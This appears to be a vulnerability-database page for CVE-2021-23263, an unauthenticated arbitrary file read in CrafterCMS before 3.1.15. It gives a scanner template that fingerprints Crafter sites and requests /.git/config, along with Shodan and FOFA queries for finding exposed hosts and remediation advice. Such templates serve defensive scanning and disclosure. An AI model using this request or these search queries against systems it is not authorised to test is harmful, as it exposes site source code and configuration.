CVE-2021-23263: CrafterCMS < 3.1.15 - Unauthenticated Arbitrary File Read

2026-12-04 PoC Public

Description

CrafterCMS (Crafter Engine) 3.1.0 to 3.1.14 is vulnerable to an unauthenticated arbitrary file read. The page render controller uses the requested URL path as the FreeMarker view name, and the default templates folder is configured as the site repository root ("/"), so the FreeMarker template loader resolves the requested path against the repository root. An unauthenticated attacker can request internal, non-public files such as server-side Groovy scripts (/scripts/*), FreeMarker templates (/templates/*) and Git metadata (/.git/*), whose contents are returned rendered in the HTTP response.

Details

CVE
CVE-2021-23263 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2021-23263

info:
  name: CrafterCMS < 3.1.15 - Unauthenticated Arbitrary File Read
  author: DhiyaneshDk
  severity: high
  description: |
    CrafterCMS (Crafter Engine) 3.1.0 to 3.1.14 is vulnerable to an unauthenticated arbitrary file read. The page render controller uses the requested URL path as the FreeMarker view name, and the default templates folder is configured as the site repository root ("/"), so the FreeMarker template loader resolves the requested path against the repository root. An unauthenticated attacker can request internal, non-public files such as server-side Groovy scripts (/scripts/*), FreeMarker templates (/templates/*) and Git metadata (/.git/*), whose contents are returned rendered in the HTTP response.
  impact: |
    An unauthenticated remote attacker can read server-side source code, configuration and Git repository metadata from the site, disclosing sensitive information.
  remediation: |
    Upgrade to CrafterCMS 3.1.15 or later, which sets the templates path to /templates and restricts template loading to an allow-list.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23263
    - https://craftercms.com/docs/3.1/security/advisory.html
    - https://github.com/craftercms/engine/compare/v3.1.14...v3.1.15
    - https://osv.dev/vulnerability/CVE-2021-23263
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-23263
    epss-score: 0.04395
    epss-percentile: 0.91565
    cwe-id: CWE-668
  metadata:
    verified: true
    max-request: 2
    vendor: craftercms
    product: craftercms
    shodan-query: 'X-Powered-By: Crafter CMS'
    fofa-query: 'header="X-Powered-By: Crafter CMS"'
  tags: cve,cve2021,craftercms,crafter,lfi,fileread,traversal,unauth,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{to_lower(rand_text_alpha(8))}}"

    matchers:
      - type: word
        part: header
        words:
          - "x-powered-by: crafter cms"
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/.git/config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "repositoryformatversion"

      - type: status
        status:
          - 200
# digest: 490a0046304402203671ddd5f8d316ebf0e2a9841dc6291b729eb0e7f84152e03723c067f079d2ae022001a149530c400d16e9502b7001e77ccf5e2c53c7d2168832c432bfc7aa36bca0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life